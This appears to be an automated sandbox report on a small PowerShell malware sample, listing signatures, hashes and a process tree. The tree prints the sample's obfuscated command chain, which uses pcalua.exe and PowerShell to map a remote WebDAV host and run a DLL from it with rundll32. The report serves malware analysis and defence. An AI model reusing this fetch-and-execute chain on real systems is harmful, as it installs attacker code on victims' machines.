Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 22:20

General

  • Target
    trigger.ps1
  • Size 140B
  • Sample260723-19acfayajc
  • SHA256 3cd809b0428df0d4f139e1b94c1eea251afc21eb1dfdc6a9a628cb96b625042a
  • MD5 SHA1 SHA512 TLSH
Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Windows\system32\pcalua.exe
      "C:\Windows\system32\pcalua.exe" -a powershell -c "saps cmd '/v/c pu^shd \\awwz.cvnuts.com@SSL\bdbdf5bb-41e7-43e7-b06f-7436aab4530d & rundll32 j.pem,#1' -Wi Hi"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "saps cmd '/v/c pu^shd \\awwz.cvnuts.com@SSL\bdbdf5bb-41e7-43e7-b06f-7436aab4530d & rundll32 j.pem,#1' -Wi Hi"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4620
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /v/c pu^shd \\awwz.cvnuts.com@SSL\bdbdf5bb-41e7-43e7-b06f-7436aab4530d & rundll32 j.pem,#1
          4⤵
          • Enumerates connected drives
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4612
          • C:\Windows\system32\rundll32.exe
            rundll32 j.pem,#1
            5⤵
              PID:1132

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
          • MD5 SHA1 SHA512

          memory/3588-0-0x00007FFD1A67F000-0x00007FFD1A680000-memory.dmp

          memory/3588-3-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

          memory/3588-4-0x0000026A7DC10000-0x0000026A7DC32000-memory.dmp

          memory/3588-5-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

          memory/3588-6-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

          memory/3588-8-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

          memory/3588-9-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp

          memory/3588-10-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp